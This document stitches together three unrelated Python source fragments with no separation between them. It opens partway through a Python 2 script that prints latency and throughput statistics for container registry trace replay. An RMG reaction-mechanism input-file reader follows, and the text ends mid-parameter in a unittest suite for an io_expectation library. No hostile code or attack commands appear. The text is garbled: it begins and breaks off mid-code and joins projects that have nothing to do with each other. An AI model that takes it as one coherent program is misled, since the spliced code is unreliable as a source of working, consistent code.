startTime = responses[0]['time'] for r in responses: print r try: for i in r['onTime']: if "failed" in i['onTime']: total -= 1 failed += 1 break # no need to care the rest partial layer. data += i['size'] if r['time'] + r['duration'] > endtime: endtime = r['time'] + r['duration'] latency += r['duration'] except Exception as e: if "failed" in r['onTime']: total -= 1 failed += 1 continue if r['time'] + r['duration'] > endtime: endtime = r['time'] + r['duration'] latency += r['duration'] data += r['size'] if r['type'] == 'LAYER': getlayerlatency += r['duration'] gettotallayer += 1 getlayerlatencies.append(r['duration']) if r['type'] == 'MANIFEST': getmanifestlatency += r['duration'] gettotalmanifest += 1 getmanifestlatencies.append(r['duration']) if r['type'] == 'PUSHLAYER': putlayerlatency += r['duration'] puttotallayer += 1 putlayerlatencies.append(r['duration']) if r['type'] == 'PUSHMANIFEST': putmanifestlatency += r['duration'] puttotalmanifest += 1 putmanifestlatencies.append(r['duration']) if r['type'] == 'warmuplayer': warmuplayerlatency += r['duration'] warmuptotallayer += 1 warmuplayerlatencies.append(r['duration']) if r['type'] == 'warmupmanifest': warmupmanifestlatency += r['duration'] warmuptotalmanifest += 1 warmupmanifestlatencies.append(r['duration']) duration = endtime - startTime global accelerater global testmode print 'Statistics' print 'accelerater: '+str(accelerater) print 'testmode: ' + str(testmode) print 'Successful Requests: ' + str(total) print 'Failed Requests: ' + str(failed) print 'Duration: ' + str(duration) print 'Data Transfered: ' + str(data) + ' bytes' print 'Average Latency: ' + str(latency / total) print 'Throughput: ' + str(1.*total / duration) + ' requests/second' print 'Total GET layer: ' + str(gettotallayer) print 'Total GET manifest: ' + str(gettotalmanifest) print 'Total PUT layer: ' + str(puttotallayer) print 'Total PUT Manifest: ' + str(puttotalmanifest) print 'Total WAMRUP layer: ' + str(warmuptotallayer) print 'Total WAMRUP manifest: ' + str(warmuptotalmanifest) if gettotallayer > 0: print 'Average get layer latency: ' + str(1.*getlayerlatency/gettotallayer) + ' seconds/request' print("50th percentile of durations : ", np.percentile(getlayerlatencies, 50)) print("75th percentile of durations : ", np.percentile(getlayerlatencies, 75)) print("95th percentile of durations : ", np.percentile(getlayerlatencies, 95)) print("99th percentile of durations : ", np.percentile(getlayerlatencies, 99)) if puttotallayer > 0: print 'Average put layer latency: ' + str(1.*putlayerlatency/puttotallayer) + ' seconds/request' print("50th percentile of durations : ", np.percentile(putlayerlatencies, 50)) print("75th percentile of durations : ", np.percentile(putlayerlatencies, 75)) print("95th percentile of durations : ", np.percentile(putlayerlatencies, 95)) print("99th percentile of durations : ", np.percentile(putlayerlatencies, 99)) if gettotalmanifest > 0: print 'Average get manifest latency: ' + str(1.*getmanifestlatency/gettotalmanifest) + ' seconds/request' print("50th percentile of durations : ", np.percentile(getmanifestlatencies, 50)) print("75th percentile of durations : ", np.percentile(getmanifestlatencies, 75)) print("95th percentile of durations : ", np.percentile(getmanifestlatencies, 95)) print("99th percentile of durations : ", np.percentile(getmanifestlatencies, 99)) if puttotalmanifest > 0: print 'Average put manifest latency: ' + str(1.*putmanifestlatency/puttotalmanifest) + ' seconds/request' print("50th percentile of durations : ", np.percentile(putmanifestlatencies, 50)) print("75th percentile of durations : ", np.percentile(putmanifestlatencies, 75)) print("95th percentile of durations : ", np.percentile(putmanifestlatencies, 95)) print("99th percentile of durations : ", np.percentile(putmanifestlatencies, 99)) if warmuptotalmanifest > 0: print 'Average warmup manifest latency: ' + str(1.*warmupmanifestlatency/warmuptotalmanifest) + ' seconds/request' print("50th percentile of durations : ", np.percentile(warmupmanifestlatencies, 50)) print("75th percentile of durations : ", np.percentile(warmupmanifestlatencies, 75)) print("95th percentile of durations : ", np.percentile(warmupmanifestlatencies, 95)) print("99th percentile of durations : ", np.percentile(warmupmanifestlatencies, 99)) if warmuptotallayer > 0: print 'Average warmup layer latency: ' + str(1.*warmuplayerlatency/warmuptotallayer) + ' seconds/request' print("50th percentile of durations : ", np.percentile(warmuplayerlatencies, 50)) print("75th percentile of durations : ", np.percentile(warmuplayerlatencies, 75)) print("95th percentile of durations : ", np.percentile(warmuplayerlatencies, 95)) print("99th percentile of durations : ", np.percentile(warmuplayerlatencies, 99)) ## send out requests to clients and get results def get_blobs(data, numclients, out_file):#, testmode): results = [] i = 0 print "================> First set rlmap!================>" for reqlst in data: print "processing a list" setup_rlmaps(reqlst) print "done set up rlmap ===============>" #return None """ # for debugging for reqlst in data: x = send_requests(reqlst) results.extend(x) """ # end debugging #""" # for run with ProcessPoolExecutor(max_workers = numclients) as executor: futures = [executor.submit(send_requests, reqlst) for reqlst in data] for future in as_completed(futures): try: x = future.result() results.extend(x) except Exception as e: print('get_blobs: something generated an exception: %s', e) print "start stats" #stats(results) with open(results_dir+out_file, 'w') as f: json.dump(results, f) #""" # end for run """ # for just extract result """ with open(results_dir+out_file) as f: results = json.load(f) stats(results) """ # end for extracting""" def main(): parser = ArgumentParser(description='Trace Player, allows for anonymized traces to be replayed to a registry, or for caching and prefecting simulations.') parser.add_argument('-i', '--input', dest='input', type=str, required=True, help = 'Input YAML configuration file, should contain all the inputs requried for processing') parser.add_argument('-c', '--command', dest='command', type=str, required=True, help = 'Trace player command. Possible commands: warmup, run, and simulate, \ warmup is used to populate the registry with the layers of the trace, \ run replays
#!/usr/bin/python # -*- coding: utf-8 -*- ################################################################################ # # RMG - Reaction Mechanism Generator # # Copyright (c) 2002-2010 Prof. <NAME> (<EMAIL>) and the # RMG Team (<EMAIL>) # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the 'Software'), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # ################################################################################ import logging import quantities import os from rmgpy import settings from rmgpy.molecule import Molecule from rmgpy.quantity import Quantity from rmgpy.solver.base import TerminationTime, TerminationConversion from rmgpy.solver.simple import SimpleReactor from rmgpy.solver.liquid import LiquidReactor from model import CoreEdgeReactionModel from rmgpy.scoop_framework.util import broadcast, get ################################################################################ class InputError(Exception): pass ################################################################################ rmg = None speciesDict = {} def database( thermoLibraries = None, reactionLibraries = None, frequenciesLibraries = None, seedMechanisms = None, kineticsFamilies = 'default', kineticsDepositories = 'default', kineticsEstimator = 'rate rules', ): # This function just stores the information about the database to be loaded # We don't actually load the database until after we're finished reading # the input file if isinstance(thermoLibraries, str): thermoLibraries = [thermoLibraries] if isinstance(reactionLibraries, str): reactionLibraries = [reactionLibraries] if isinstance(seedMechanisms, str): seedMechanisms = [seedMechanisms] if isinstance(frequenciesLibraries, str): frequenciesLibraries = [frequenciesLibraries] rmg.databaseDirectory = settings['database.directory'] rmg.thermoLibraries = thermoLibraries or [] rmg.reactionLibraries = reactionLibraries or [] rmg.seedMechanisms = seedMechanisms or [] rmg.statmechLibraries = frequenciesLibraries or [] rmg.kineticsEstimator = kineticsEstimator if kineticsDepositories == 'default': rmg.kineticsDepositories = ['training'] elif kineticsDepositories == 'all': rmg.kineticsDepositories = None else: if not isinstance(kineticsDepositories,list): raise InputError("kineticsDepositories should be either 'default', 'all', or a list of names eg. ['training','PrIMe'].") rmg.kineticsDepositories = kineticsDepositories if kineticsFamilies in ('default', 'all', 'none'): rmg.kineticsFamilies = kineticsFamilies else: if not isinstance(kineticsFamilies,list): raise InputError("kineticsFamilies should be either 'default', 'all', 'none', or a list of names eg. ['H_Abstraction','R_Recombination'] or ['!Intra_Disproportionation'].") rmg.kineticsFamilies = kineticsFamilies def species(label, structure, reactive=True): logging.debug('Found {0} species "{1}" ({2})'.format('reactive' if reactive else 'nonreactive', label, structure.toSMILES())) spec, isNew = rmg.reactionModel.makeNewSpecies(structure, label=label, reactive=reactive) if not isNew: raise InputError("Species {0} is a duplicate of {1}. Species in input file must be unique".format(label,spec.label)) # Force RMG to add the species to edge first, prior to where it is added to the core, in case it is found in # any reaction libraries along the way rmg.reactionModel.addSpeciesToEdge(spec) rmg.initialSpecies.append(spec) speciesDict[label] = spec def SMARTS(string): return Molecule().fromSMARTS(string) def SMILES(string): return Molecule().fromSMILES(string) def InChI(string): return Molecule().fromInChI(string) def adjacencyList(string): return Molecule().fromAdjacencyList(string) # Reaction systems def simpleReactor(temperature, pressure, initialMoleFractions, terminationConversion=None, terminationTime=None, sensitivity=None, sensitivityThreshold=1e-3 ): logging.debug('Found SimpleReactor reaction system') for value in initialMoleFractions.values(): if value < 0: raise InputError('Initial mole fractions cannot be negative.') for spec in initialMoleFractions: initialMoleFractions[spec] = float(initialMoleFractions[spec]) totalInitialMoles = sum(initialMoleFractions.values()) if totalInitialMoles != 1: logging.warning('Initial mole fractions do not sum to one; normalizing.') logging.info('') logging.info('Original composition:') for spec, molfrac in initialMoleFractions.iteritems(): logging.info("{0} = {1}".format(spec,molfrac)) for spec in initialMoleFractions: initialMoleFractions[spec] /= totalInitialMoles logging.info('') logging.info('Normalized mole fractions:') for spec, molfrac in initialMoleFractions.iteritems(): logging.info("{0} = {1}".format(spec,molfrac)) T = Quantity(temperature) P = Quantity(pressure) termination = [] if terminationConversion is not None: for spec, conv in terminationConversion.iteritems(): termination.append(TerminationConversion(speciesDict[spec], conv)) if terminationTime is not None: termination.append(TerminationTime(Quantity(terminationTime))) if len(termination) == 0: raise InputError('No termination conditions specified for reaction system #{0}.'.format(len(rmg.reactionSystems)+2)) sensitiveSpecies = [] if sensitivity: if isinstance(sensitivity, str): sensitivity = [sensitivity] for spec in sensitivity: sensitiveSpecies.append(speciesDict[spec]) system = SimpleReactor(T, P, initialMoleFractions, termination, sensitiveSpecies, sensitivityThreshold) rmg.reactionSystems.append(system) # Reaction systems def liquidReactor(temperature, initialConcentrations, terminationConversion=None, terminationTime=None, sensitivity=None, sensitivityThreshold=1e-3, constantSpecies=None): logging.debug('Found LiquidReactor reaction system') T = Quantity(temperature) for spec,conc in initialConcentrations.iteritems(): concentration = Quantity(conc) # check the dimensions are ok # convert to mol/m^3 (or something numerically nice? or must it be SI) initialConcentrations[spec] = concentration.value_si termination = [] if terminationConversion is not None: for spec, conv in terminationConversion.iteritems(): termination.append(TerminationConversion(speciesDict[spec], conv)) if terminationTime is not None: termination.append(TerminationTime(Quantity(terminationTime))) if len(termination) == 0: raise InputError('No termination conditions specified for reaction system #{0}.'.format(len(rmg.reactionSystems)+2)) sensitiveSpecies = [] if sensitivity: for spec in sensitivity: sensitiveSpecies.append(speciesDict[spec]) ##chatelak: check the constant species exist if constantSpecies is not None: logging.debug(' Generation with constant species:') for constantSpecie in constantSpecies: logging.debug(" {0}".format(constantSpecie)) if not speciesDict.has_key(constantSpecie): raise InputError('Species {0} not found in the input file'.format(constantSpecie)) system = LiquidReactor(T, initialConcentrations, termination, sensitiveSpecies, sensitivityThreshold,constantSpecies) rmg.reactionSystems.append(system) def simulator(atol, rtol, sens_atol=1e-6, sens_rtol=1e-4): rmg.absoluteTolerance = atol rmg.relativeTolerance = rtol rmg.sensitivityAbsoluteTolerance = sens_atol rmg.sensitivityRelativeTolerance = sens_rtol def solvation(solvent): # If solvation module in input file, set the RMG solvent variable if not isinstance(solvent,str): raise InputError("solvent should be a string like 'water'") rmg.solvent = solvent def model(toleranceMoveToCore=None, toleranceKeepInEdge=0.0, toleranceInterruptSimulation=1.0, maximumEdgeSpecies=1000000, minCoreSizeForPrune=50, minSpeciesExistIterationsForPrune=2, filterReactions=False): """ How to generate the model. `toleranceMoveToCore` must be specified. Other parameters are optional and control the pruning. """ if toleranceMoveToCore is None: raise InputError("You must provide a toleranceMoveToCore value. It should be less than or equal to toleranceInterruptSimulation which is currently {0}".format(toleranceInterruptSimulation)) if toleranceMoveToCore > toleranceInterruptSimulation: raise InputError("toleranceMoveToCore must be less than or equal to toleranceInterruptSimulation, which is currently {0}".format(toleranceInterruptSimulation)) rmg.fluxToleranceKeepInEdge = toleranceKeepInEdge rmg.fluxToleranceMoveToCore = toleranceMoveToCore rmg.fluxToleranceInterrupt = toleranceInterruptSimulation rmg.maximumEdgeSpecies = maximumEdgeSpecies rmg.minCoreSizeForPrune = minCoreSizeForPrune rmg.minSpeciesExistIterationsForPrune = minSpeciesExistIterationsForPrune rmg.filterReactions = filterReactions def quantumMechanics( software, method, fileStore = None, scratchDirectory = None, onlyCyclics = False, maxRadicalNumber = 0, ): from rmgpy.qm.main import QMCalculator rmg.quantumMechanics = QMCalculator(software = software, method = method, fileStore = fileStore, scratchDirectory = scratchDirectory, onlyCyclics = onlyCyclics, maxRadicalNumber = maxRadicalNumber, ) def pressureDependence( method, temperatures, pressures, maximumGrainSize = 0.0, minimumNumberOfGrains = 0, interpolation = None, maximumAtoms=None, ): from rmgpy.cantherm.pdep import PressureDependenceJob # Setting the pressureDependence attribute to non-None enables pressure dependence rmg.pressureDependence = PressureDependenceJob(network=None) # Process method rmg.pressureDependence.method = method # Process interpolation model if isinstance(interpolation, str): interpolation = (interpolation,) if interpolation[0].lower() not in ("chebyshev","pdeparrhenius"): raise InputError("Interpolation model must be set to either 'Chebyshev' or 'PDepArrhenius'.") rmg.pressureDependence.interpolationModel = interpolation # Process temperatures Tmin, Tmax, Tunits, Tcount = temperatures rmg.pressureDependence.Tmin = Quantity(Tmin, Tunits) rmg.pressureDependence.Tmax = Quantity(Tmax, Tunits) rmg.pressureDependence.Tcount = Tcount rmg.pressureDependence.generateTemperatureList() # Process pressures Pmin, Pmax, Punits, Pcount = pressures rmg.pressureDependence.Pmin = Quantity(Pmin, Punits) rmg.pressureDependence.Pmax = Quantity(Pmax, Punits) rmg.pressureDependence.Pcount = Pcount rmg.pressureDependence.generatePressureList() # Process grain size and count rmg.pressureDependence.maximumGrainSize = Quantity(maximumGrainSize) rmg.pressureDependence.minimumGrainCount = minimumNumberOfGrains # Process maximum atoms rmg.pressureDependence.maximumAtoms = maximumAtoms rmg.pressureDependence.activeJRotor = True rmg.pressureDependence.activeKRotor = True rmg.pressureDependence.rmgmode = True def options(units='si', saveRestartPeriod=None, generateOutputHTML=False, generatePlots=False, saveSimulationProfiles=False, verboseComments=False, saveEdgeSpecies=False): rmg.units = units rmg.saveRestartPeriod = Quantity(saveRestartPeriod) if saveRestartPeriod else None rmg.generateOutputHTML = generateOutputHTML rmg.generatePlots = generatePlots rmg.saveSimulationProfiles = saveSimulationProfiles rmg.verboseComments = verboseComments rmg.saveEdgeSpecies = saveEdgeSpecies def generatedSpeciesConstraints(**kwargs): validConstraints = [ 'allowed', 'maximumCarbonAtoms', 'maximumOxygenAtoms', 'maximumNitrogenAtoms', 'maximumSiliconAtoms', 'maximumSulfurAtoms', 'maximumHeavyAtoms', 'maximumRadicalElectrons', 'allowSingletO2', 'maximumIsotopicAtoms' ] for key, value in kwargs.items(): if key not in validConstraints: raise InputError('Invalid generated species constraint {0!r}.'.format(key)) rmg.speciesConstraints[key] = value ################################################################################ def readInputFile(path, rmg0): """ Read an RMG input file at `path` on disk into the :class:`RMG` object `rmg`. """ global rmg, speciesDict full_path = os.path.abspath(os.path.expandvars(path)) try: f = open(full_path) except IOError, e: logging.error('The input file "{0}" could not be opened.'.format(full_path)) logging.info('Check that the file exists and that you have read access.') raise e logging.info('Reading input file "{0}"...'.format(full_path)) logging.info(f.read()) f.seek(0)# return to beginning of file rmg = rmg0 rmg.reactionModel = CoreEdgeReactionModel() rmg.initialSpecies = [] rmg.reactionSystems = [] speciesDict = {} global_context = { '__builtins__': None } local_context = { '__builtins__': None, 'True': True, 'False': False, 'database': database, 'species': species, 'SMARTS': SMARTS, 'SMILES': SMILES, 'InChI': InChI, 'adjacencyList': adjacencyList, 'simpleReactor': simpleReactor, 'liquidReactor': liquidReactor, 'simulator': simulator, 'solvation': solvation, 'model': model, 'quantumMechanics': quantumMechanics, 'pressureDependence': pressureDependence, 'options': options, 'generatedSpeciesConstraints': generatedSpeciesConstraints, }
from __future__ import print_function import io_expectation as expect from parameterized import parameterized, param from six.moves import input import sys import unittest import re def AssertEquals(lhs, rhs): if lhs != rhs: raise AssertionError('Strings are not equals: %s != %s' % (lhs, rhs)) class IoExpectationTest(unittest.TestCase): def setUp(self): self._io = expect.ExpectedInputOutput() sys.stdin = self._io sys.stdout = self._io def tearDown(self): sys.stdin = self._io._original_stdin sys.stdout = self._io._original_stdout @parameterized.expand([ # ==== expect.Equals ==== param( 'expect_equals', expected_io=expect.Equals('Expected output\n'), ios=lambda: print('Expected output'), error_message=None), param( 'expect_equals_missing_newline', expected_io=expect.Equals('\nExpected output\n'), ios=lambda: sys.stdout.write('Expected output'), error_message=None), param( 'expect_equals_missing_white_space', expected_io=expect.Equals(' Expected output '), ios=lambda: print('Expected output'), error_message=None), param( 'expect_equals_extra_white_space_and_newlines', expected_io=expect.Equals('Expected output'), ios=lambda: print(' Expected output '), error_message=None), param( 'expect_equals_no_output', expected_io=expect.Equals('Expected output'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Equals('Expected output')")), param( 'expect_equals_mismatch', expected_io=expect.Equals('Expected output'), ios=lambda: (print('An Expected output and some more'), print('Some more other output')), error_message=("Unexpected output:\n" "- Equals('Expected output')\n" "+ 'An Expected output and some more\\n'")), param( 'expect_equals_extra_output', expected_io=expect.Equals('Expected output'), ios=lambda: (print('Expected output'), print('Unexpected output')), error_message="No more output expected, but got: 'Unexpected output\n'"), # ==== expect.Contains ==== param( 'expect_contains', expected_io=expect.Contains('out'), ios=lambda: print('Some output'), error_message=None), param( 'expect_contains_no_output', expected_io=expect.Contains('out'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Contains('out')")), param( 'expect_contains_mismatch', expected_io=expect.Contains('out'), ios=lambda: print('Something else'), error_message=("Unexpected output:\n" "- Contains('out')\n" "+ 'Something else\\n'")), param( 'expect_contains_extra_output', expected_io=expect.Contains('out'), ios=lambda: (print('Some output'), print('Unexpected output')), error_message="No more output expected, but got: 'Unexpected output\n'"), # ==== expect.Prefix ==== param( 'expect_prefix', expected_io=expect.Prefix('Expected'), ios=lambda: print('Expected output'), error_message=None), param( 'expect_prefix_extra_whitespace', expected_io=expect.Prefix('Expected'), ios=lambda: print(' Expected output'), error_message=None), param( 'expect_prefix_no_output', expected_io=expect.Prefix('Expected'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Prefix('Expected')")), param( 'expect_prefix_mismatch', expected_io=expect.Prefix('Expected'), ios=lambda: print('Something else'), error_message=("Unexpected output:\n" "- Prefix('Expected')\n" "+ 'Something else\\n'")), param( 'expect_prefix_extra_output', expected_io=expect.Prefix('Expected'), ios=lambda: (print('Expected output'), print('Unexpected output')), error_message="No more output expected, but got: 'Unexpected output\n'"), # ==== expect.Regex ==== param( 'expect_regex', expected_io=expect.Regex('.xpec.*d.*'), ios=lambda: print('Expected output'), error_message=None), param( 'expect_regex_no_output', expected_io=expect.Regex('.xpec.*d.*'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Regex('.xpec.*d.*')")), param( 'expect_regex_mismatch', expected_io=expect.Regex('Expec.*d'), ios=lambda: print('Something else'), error_message=("Unexpected output:\n" "- Regex('Expec.*d')\n" "+ 'Something else\\n'")), param( 'expect_regex_extra_output', expected_io=expect.Regex('.*xpec.*d.*'), ios=lambda: (print('Expected output'), print('Unexpected output')), error_message="No more output expected, but got: 'Unexpected output\n'"), # ==== expect.Anything ==== param( 'expect_anyting_success', expected_io=expect.Anything(), ios=lambda: print('Some output'), error_message=None), param( 'expect_anyting_no_output', expected_io=expect.Anything(), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Anything()")), param( 'expect_anyting_extra_output', expected_io=expect.Anything(), ios=lambda: (print('Some output'), print('Some more output')), error_message="No more output expected, but got: 'Some more output\n'"), # ==== expect.And ==== param( 'expect_and', expected_io=expect.And('Some', 'out'), ios=lambda: print('Some output'), error_message=None), param( 'expect_and_no_output', expected_io=expect.And('Some', 'out'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Contains('Some') and Contains('out')")), param( 'expect_and_lhs_fails', expected_io=expect.And('Some', 'out'), ios=lambda: print('Other output'), error_message=("Unexpected output:\n" "- Contains('Some') and Contains('out')\n" "+ 'Other output\\n'")), param( 'expect_and_rhs_fails', expected_io=expect.And('Some', 'out'), ios=lambda: print('Some string'), error_message=("Unexpected output:\n" "- Contains('out')\n" "+ 'Some string\\n'")), param( 'expect_and_both_fails', expected_io=expect.And('Some', 'out'), ios=lambda: print('Other string'), error_message=("Unexpected output:\n" "- Contains('Some') and Contains('out')\n" "+ 'Other string\\n'")), param( 'expect_and_many_arguments', expected_io=expect.And('foo', 'bar', 'baz', 'buz'), ios=lambda: print('String: buz foo baz bar.'), error_message=None), param( 'expect_and_many_arguments_error', expected_io=expect.And('foo', 'bar', 'baz', 'buz'), ios=lambda: print('String: buz foo bar.'), error_message=( "Unexpected output:\n" "- Contains('baz') and Contains('buz')\n" "+ 'String: buz foo bar.\\n'")), param( 'expect_and_short_syntax', expected_io=expect.Contains('Some') & expect.Contains('out'), ios=lambda: print('Some output'), error_message=None), param( 'expect_and_short_syntax_no_output', expected_io=expect.Contains('Some') & expect.Contains('out'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Contains('Some') and Contains('out')")), param( 'expect_and_short_syntax_lhs_fails', expected_io=expect.Contains('Some') & expect.Contains('out'), ios=lambda: print('Other output'), error_message=("Unexpected output:\n" "- Contains('Some') and Contains('out')\n" "+ 'Other output\\n'")), param( 'expect_and_short_syntax_rhs_fails', expected_io=expect.Contains('Some') & expect.Contains('out'), ios=lambda: print('Some string'), error_message=("Unexpected output:\n" "- Contains('out')\n" "+ 'Some string\\n'")), param( 'expect_and_short_syntax_both_fails', expected_io=expect.Contains('Some') & expect.Contains('out'), ios=lambda: print('Other string'), error_message=("Unexpected output:\n" "- Contains('Some') and Contains('out')\n" "+ 'Other string\\n'")), # ==== expect.Or ==== param( 'expect_or', expected_io=expect.Or('Some', 'out'), ios=lambda: print('Some output'), error_message=None), param( 'expect_or_no_output', expected_io=expect.Or('Some', 'out'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Contains('Some') or Contains('out')")), param( 'expect_or_lhs_fails', expected_io=expect.Or('Some', 'out'), ios=lambda: print('Other output'), error_message=None), param( 'expect_or_rhs_fails', expected_io=expect.Or('Some', 'out'), ios=lambda: print('Some string'), error_message=None), param( 'expect_or_both_fails', expected_io=expect.Or('Some', 'out'), ios=lambda: print('Other string'), error_message=("Unexpected output:\n" "- Contains('Some') or Contains('out')\n" "+ 'Other string\\n'")), param( 'expect_or_many_arguments', expected_io=expect.Or('foo', 'bar', 'baz', 'buz'), ios=lambda: print('String: buz.'), error_message=None), param( 'expect_or_many_arguments_error', expected_io=expect.Or('foo', 'bar', 'baz', 'buz'), ios=lambda: print('Unexpected'), error_message=( "Unexpected output:\n" "- Contains('foo') or Contains('bar')" " or Contains('baz') or Contains('buz')\n" "+ 'Unexpected\\n'")), param( 'expect_or_short_syntax', expected_io=expect.Contains('Some') | expect.Contains('out'), ios=lambda: print('Some output'), error_message=None), param( 'expect_or_short_syntax_no_output', expected_io=expect.Contains('Some') | expect.Contains('out'), ios=lambda: None, error_message=("Pending IO expectation never fulfilled:\n" "Contains('Some') or Contains('out')")), param( 'expect_or_short_syntax_lhs_fails', expected_io=expect.Contains('Some') | expect.Contains('out'), ios=lambda: print('Other output'), error_message=None), param( 'expect_or_short_syntax_rhs_fails', expected_io=expect.Contains('Some') | expect.Contains('out'), ios=lambda: print('Some string'), error_message=None), param( 'expect_or_short_syntax_both_fails', expected_io=expect.Contains('Some') | expect.Contains('out'), ios=lambda: print('Other string'), error_message=("Unexpected output:\n" "- Contains('Some') or Contains('out')\n" "+ 'Other string\\n'")), # ==== expect.Not ==== param( 'expect_not_equals', expected_io=expect.Not(expect.Equals('Unexpected string')), ios=lambda: (print('Expected string')), error_message=None), param( 'expect_not_equals_error', expected_io=expect.Not(expect.Equals('Unexpected string')), ios=lambda: (print('Unexpected string')), error_message=("Unexpected output:\n" "- Not(Equals('Unexpected string'))\n" "+ 'Unexpected string\\n'")), param( 'expect_not_equals_or_equals', expected_io=expect.Not(expect.Equals('Unexpected 1') | expect.Equals('Unexpected 2')), ios=lambda: (print('Expected string')), error_message=None), param( 'expect_not_equals_or_equals_error', expected_io=expect.Not(expect.Equals('Unexpected 1') | expect.Equals('Unexpected 2')), ios=lambda: (print('Unexpected 2')), error_message=("Unexpected output:\n" "- Not(Equals('Unexpected 2'))\n" "+ 'Unexpected 2\\n'")), param( 'expect_not_equals_repeatedly', expected_io=expect.Not(expect.Equals('Unexpected')).repeatedly(), ios=lambda: (print('Expected 1'), print('Expected 2')), error_message=None), param( 'expect_not_equals_repeatedly_error', expected_io=expect.Not(expect.Equals('Unexpected')).repeatedly(), ios=lambda: (print('Expected 1'), print('Unexpected')), error_message=("Unexpected output:\n" "- Repeatedly(Not(Equals('Unexpected')))\n" "+ 'Unexpected\\n'")), param( 'expect_not_equals_and_not_equals_repeatedly', expected_io=(expect.Not(expect.Equals('Unexpected 1')) & expect.Not(expect.Equals('Unexpected 2'))).repeatedly(), ios=lambda: (print('Expected 1'), print('Expected 2'), print('Expected 3')), error_message=None), param( 'expect_not_equals_and_not_equals_repeatedly_error', expected_io=(expect.Not(expect.Equals('Unexp 1')) & expect.Not(expect.Equals('Unexp 2'))).repeatedly(), ios=lambda: (print('Expected 1'), print('Expected 2'), print('Unexp 1')), error_message=( "Unexpected output:\n" "- Repeatedly(Not(Equals('Unexp 1')) and Not(Equals('Unexp 2')))\n" "+ 'Unexp 1\\n'")), param( 'expect_not_equals_or_equals_repeatedly', expected_io=expect.Not(expect.Equals('Unexpected 1') | expect.Equals('Unexpected 2')).repeatedly(), ios=lambda: (print('Expected 1'), print('Expected 2'), print('Expected 3')), error_message=None), param( 'expect_not_equals_or_equals_repeatedly_error_1', expected_io=expect.Not(expect.Equals('Unexpected 1') | expect.Equals('Unexpected 2')).repeatedly(), ios=lambda: (print('Expected 1'), print('Expected 2'), print('Unexpected 2')), error_message=("Unexpected output:\n" "- Repeatedly(Not(Equals('Unexpected 2')))\n" "+ 'Unexpected 2\\n'")), param( 'expect_not_equals_or_equals_repeatedly_error_2', expected_io=expect.Not(expect.Equals('Unexpected 1') | expect.Equals('Unexpected 2')).repeatedly(), ios=lambda: (print('Expected 1'), print('Unexpected 1'), print('Expected 2'), print('Unexpected 2')), error_message=( "Unexpected output:\n" "- Repeatedly(Not(Equals('Unexpected 1') or Equals('Unexpected 2')))\n" "+ 'Unexpected 1\\n'")), param( 'expect_in_order_not', expected_io=expect.InOrder( expect.Equals('Expected 1'), expect.Not(expect.Equals('Unexpected 1')), expect.Equals('Expected 2'), expect.Not(expect.Equals('Unexpected 2'))), ios=lambda: (print('Expected 1'), print('Something else 1'), print('Expected 2'), print('Something else 2')), error_message=None), param( 'expect_in_order_not_error', expected_io=expect.InOrder( expect.Equals('Expected 1'), expect.Not(expect.Equals('Unexpected')), expect.Equals('Expected 2')), ios=lambda: (print('Expected 1'), print('Unexpected'), print('Expected 2')), error_message=( "Unexpected output:\n" "- InOrder(Not(Equals('Unexpected')), Equals('Expected 2'))\n" "+ 'Unexpected\\n'")), param( 'expect_any_order_not', expected_io=expect.AnyOrder( expect.Equals('Expected 1'), expect.Not(expect.Equals('Unexpected 1')), expect.Equals('Expected 2'), expect.Not(expect.Equals('Unexpected 2')), expect.Equals('Expected 3')), ios=lambda: (print('Expected 3'), print('Something else 2'), print('Expected 2'), print('Something else 1'), print('Expected 1')), error_message=None), param( 'expect_any_order_not_error', expected_io=expect.AnyOrder( expect.Equals('Expected 1'), expect.Not(expect.Equals('Unexpected')), expect.Equals('Expected 2')), ios=lambda: (print('Expected 2'), print('Unexpected'), print('Expected 1')), error_message=( "Unexpected output:\n" "- AnyOrder(Equals('Expected 1'), Not(Equals('Unexpected')))\n" "+ 'Unexpected\\n'")), param( 'expect_any_order_anything_but', expected_io=expect.AnyOrder( expect.Not(expect.Equals('Unexpected 1') | expect.Equals('Unexpected 2')).repeatedly(), expect.Equals('Expected 1'), expect.Equals('Expected 2')), ios=lambda: (print('Expected 2'), print('Something else 1'), print('Something else 2'), print('Expected 1')), error_message=None), param( 'expect_any_order_anything_but_error', expected_io=expect.AnyOrder( expect.Not(expect.Equals('Unexpected 1') | expect.Equals('Unexpected 2')).repeatedly(), expect.Equals('Expected')), ios=lambda: (print('Expected'), print('Unexpected 2')), error_message=( "Unexpected output:\n" "- Repeatedly(Not(Equals('Unexpected 1') or Equals('Unexpected 2')))\n" "+ 'Unexpected 2\\n'")), # ==== Repeatedly ==== param( 'expect_repeatedly', expected_io=expect.Repeatedly(expect.Equals('Expected output')), ios=lambda: (print('Expected output'), print('Expected output'), print('Expected output')), error_message=None), param( 'expect_repeatedly_error', expected_io=expect.Repeatedly(expect.Equals('Expected output')), ios=lambda: (print('Expected output'), print('Expected output'), print('Unexpected output')), error_message=("Unexpected output:\n" "- Repeatedly(Equals('Expected output'))\n" "+ 'Unexpected output\\n'")), param( 'expect_repeatedly_equals_at_min', expected_io=expect.Repeatedly(expect.Equals('Expected output'), 2, 